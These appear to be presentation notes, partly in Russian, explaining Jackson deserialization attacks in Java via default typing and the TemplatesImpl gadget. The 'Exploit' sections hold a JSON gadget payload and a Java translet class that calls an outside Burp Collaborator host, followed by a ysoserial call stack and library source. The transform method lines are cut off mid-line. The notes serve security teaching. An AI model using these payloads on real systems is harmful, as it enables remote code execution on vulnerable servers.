Java Jackson Deserialization

Jackson

Jackson is a high-performance JSON processor for Java.

Its developers extol the combination of fast, correct, lightweight, and ergonomic attributes of the library.

Jackson

К объектам, которые сериализуются / десериализуются в JSON есть несколько требований:

1. Поля должны быть видимые: или public или иметь getter’ы и setter’ы,
2. Должен быть конструктор по умолчанию (без параметров).

Jackson Annotation

Аннотации – это служебная информация для фреймворка Jackson.

Можно очень гибко управлять результатом сериализации в JSON формат, расставляя правильные аннотации.

Аннотация	Описание
@JsonAutoDetect	Ставится перед классом. Помечает класс как готовый к сериализациив JSON.
@JsonIgnore	Ставится перед свойством. Свойство игнорируется при сериализации.
@JsonProperty	Ставится перед свойством или getter'ом или setter'ом. Позволяет задать другое имя поля при сериализации.
@JsonPropertyOrder	Ставится перед классом. Позволяет задать порядок полей для сериализации.

```
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(); // defaults to OBJECT_AND_NON_CONCRETE
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
```

- `JAVA_LANG_OBJECT`: properties that have `Object` as the declared type (including generic types without an explicit type).
- `OBJECT_AND_NON_CONCRETE`: properties with the declared type of `Object` or an abstract type (abstract class or interface).
- `NON_CONCRETE_AND_ARRAYS`: all types covered by `OBJECT_AND_NON_CONCRETE` and arrays of these element types.
- `NON_FINAL`: all non-final types except for `String`, `Boolean`, `Integer`, and `Double` which can be correctly inferred from JSON; as well as for all arrays of non-`final` types.

Exploit

```
{'id': 124,
 'obj':[ 'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',
  {
    'transletBytecodes' : [ 'AAIAZQ==' ],
    'transletName' : 'a.b',
    'outputProperties' : { }
  }
 ]
}

```

Exploit

```
import java.io.*;
import java.net.*;

public class Exploit extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
  public Exploit() throws Exception {
    StringBuilder result = new StringBuilder();
    URL url = new URL("http://[your-url].burpcollaborator.net");
    HttpURLConnection conn = (HttpURLConnection) url.openConnection();
    conn.setRequestMethod("GET");
    BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream()));
    String line;
    while ((line = rd.readLine()) != null) {
      result.append(line);
    }
    rd.close();
  }

  @Override
  public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.
  }

  @Override
  public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.
  }
}

```

Call Stack During in Exploitation

```
<init>:56, Pwner60092316258519 (ysoserial)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:340, TemplatesImpl (org.apache.xalan.xsltc.trax)
newTransformer:369, TemplatesImpl (org.apache.xalan.xsltc.trax)
getOutputProperties:390, TemplatesImpl (org.apache.xalan.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
deserializeAndSet:105, SetterlessProperty (com.fasterxml.jackson.databind.deser.impl)
vanillaDeserialize:260, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:125, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserialize:110, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.
    impl)
deserializeTypedFromAny:68, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.
    jsontype.impl)
deserializeWithType:554, UntypedObjectDeserializer$Vanilla (com.fasterxml.jackson.
    databind.deser.std)
deserialize:42, TypeWrappedDeserializer (com.fasterxml.jackson.databind.deser.impl)
_readMapAndClose:3789, ObjectMapper (com.fasterxml.jackson.databind)
readValue:2779, ObjectMapper (com.fasterxml.jackson.databind)
deserialize:46, Cage (jackson)
main:121, Cage (jackson)
```

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

```java
/**
 * Implements JAXP's Templates.getOutputProperties(). We need to
 * instanciate a translet to get the output settings, so
 * we might as well just instanciate a Transformer and use its
 * implementation of this method.
 */
public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties();
    }
    catch (TransformerConfigurationException e) {
        return null;
    }
}
```

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

```java
/**
 * Implements JAXP's Templates.newTransformer()
 *
 * @throws TransformerConfigurationException
 */
public synchronized Transformer newTransformer()
    throws TransformerConfigurationException
{
    TransformerImpl transformer;

    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
        _indentNumber, _tfactory);

    if (_uriResolver != null) {
        transformer.setURIResolver(_uriResolver);
    }

    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
        transformer.setSecureProcessing(true);
    }
    return transformer;
}
```

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

```java
/**
 * This method generates an instance of the translet class that is
 * wrapped inside this Template. The translet instance will later
 * be wrapped inside a Transformer object.
 */
private Translet getTransletInstance()
    throws TransformerConfigurationException {
    try {
        if (_name == null) return null;

        if (_class == null) defineTransletClasses();

        // The translet needs to keep a reference to all its auxiliary
        // class to prevent the GC from collecting them
        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
        translet.postInitialization();
        translet.setTemplates(this);
```

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

```java
/**
 * Defines the translet class and auxiliary classes.
 * Returns a reference to the class object that defines the main class
 */
private void defineTransletClasses()
    throws TransformerConfigurationException {

    if (_bytecodes == null) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
        throw new TransformerConfigurationException(err.toString());
    }

    TransletClassLoader loader = (TransletClassLoader)
        AccessController.doPrivileged(new PrivilegedAction() {
            public Object run() {
                return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
            }
        });

    try {
        final int classCount = _bytecodes.length;
        _class = new Class[classCount];

        if (classCount > 1) {
            _auxClasses = new Hashtable();
        }

        for (int i = 0; i < classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i]);
            final Class superClass = _class[i].getSuperclass();

            // Check if this is the main class
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                _transletIndex = i;
            }
            else {
                _auxClasses.put(_class[i].getName(), _class[i]);
            }
        }

        if (_transletIndex < 0) {
            ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }
```